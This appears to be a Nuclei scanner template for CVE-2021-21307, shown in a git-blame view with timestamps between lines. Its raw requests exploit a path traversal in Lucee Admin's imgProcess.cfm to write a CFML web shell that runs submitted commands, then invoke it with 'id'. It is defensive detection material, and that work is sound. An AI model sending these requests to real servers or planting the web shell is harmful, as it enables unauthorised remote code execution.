2021-07-18 13:49:19 +00:00
|
|
|
id: CVE-2021-21307
|
|
|
|
|
|
|
|
info:
|
2022-05-09 16:12:52 +00:00
|
|
|
name: Lucee Admin - Remote Code Execution
|
2021-07-18 13:49:19 +00:00
|
|
|
author: dhiyaneshDk
|
2021-07-18 17:06:15 +00:00
|
|
|
severity: critical
|
2022-05-09 16:12:52 +00:00
|
|
|
description: Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
|
|
|
|
- https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21307
|
2023-04-12 10:55:48 +00:00
|
|
|
- http://ciacfug.org/blog/updating-lucee-as-part-of-a-vulnerability-alert-response
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020/7643
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 9.8
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-21307
|
|
|
|
cwe-id: CWE-862
|
2023-11-27 09:19:41 +00:00
|
|
|
epss-score: 0.97292
|
2023-12-12 11:07:52 +00:00
|
|
|
epss-percentile: 0.99844
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:lucee:lucee_server:*:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 3
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: lucee
|
|
|
|
product: lucee_server
|
|
|
|
tags: cve,cve2021,rce,lucee,adobe
|
2021-07-18 13:49:19 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-18 13:49:19 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
imgSrc=a
|
|
|
|
- |
|
|
|
|
POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
imgSrc=
|
|
|
|
<cfoutput>
|
2021-07-18 13:54:46 +00:00
|
|
|
|
2021-07-18 13:49:19 +00:00
|
|
|
<table>
|
|
|
|
<form method="POST" action="">
|
|
|
|
<tr><td>Command:</td><td><input type=test name="cmd" size=50
|
|
|
|
<cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
|
|
|
|
<tr><td>Options:</td><td> <input type=text name="opts" size=50
|
|
|
|
<cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
|
|
|
|
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
|
|
|
|
<cfif isdefined("form.timeout")>value="#form.timeout#"
|
|
|
|
<cfelse> value="5"</cfif>></td></tr>
|
|
|
|
</table>
|
|
|
|
<input type=submit value="Exec" >
|
|
|
|
</form>
|
|
|
|
<cfif isdefined("form.cmd")>
|
|
|
|
<cfsavecontent variable="myVar">
|
|
|
|
<cfexecute name = "#Form.cmd#"
|
|
|
|
arguments = "#Form.opts#"
|
|
|
|
timeout = "#Form.timeout#">
|
|
|
|
</cfexecute>
|
|
|
|
</cfsavecontent>
|
|
|
|
<pre>
|
2023-11-09 09:14:13 +00:00
|
|
|
# HTMLCodeFormat(myVar)# </pre> </cfif> </cfoutput>
|
2021-07-18 13:49:19 +00:00
|
|
|
- |
|
|
|
|
POST /lucee/{{randstr}}.cfm HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2021-07-18 14:03:28 +00:00
|
|
|
cmd=id&opts=&timeout=5
|
2021-07-18 13:49:19 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2021-07-18 17:06:15 +00:00
|
|
|
- type: word
|
2023-07-11 19:49:27 +00:00
|
|
|
part: body
|
2021-07-18 17:06:15 +00:00
|
|
|
words:
|
|
|
|
- "uid="
|
|
|
|
- "gid="
|
|
|
|
- "groups="
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
2021-07-18 13:49:19 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-05-09 16:12:52 +00:00
|
|
|
- "(u|g)id=.*"
|
2023-12-29 09:30:44 +00:00
|
|
|
# digest: 490a004630440220621416ee5c73a5ed0e087a48869eee7e5234be26ae6c42b3de94c411f375b7cc022009d0db4789b3010717267b88366f6578071090fd8f1558c8dea912afc5a0dd40:922c64590222798bb761d5b6d8e72950
|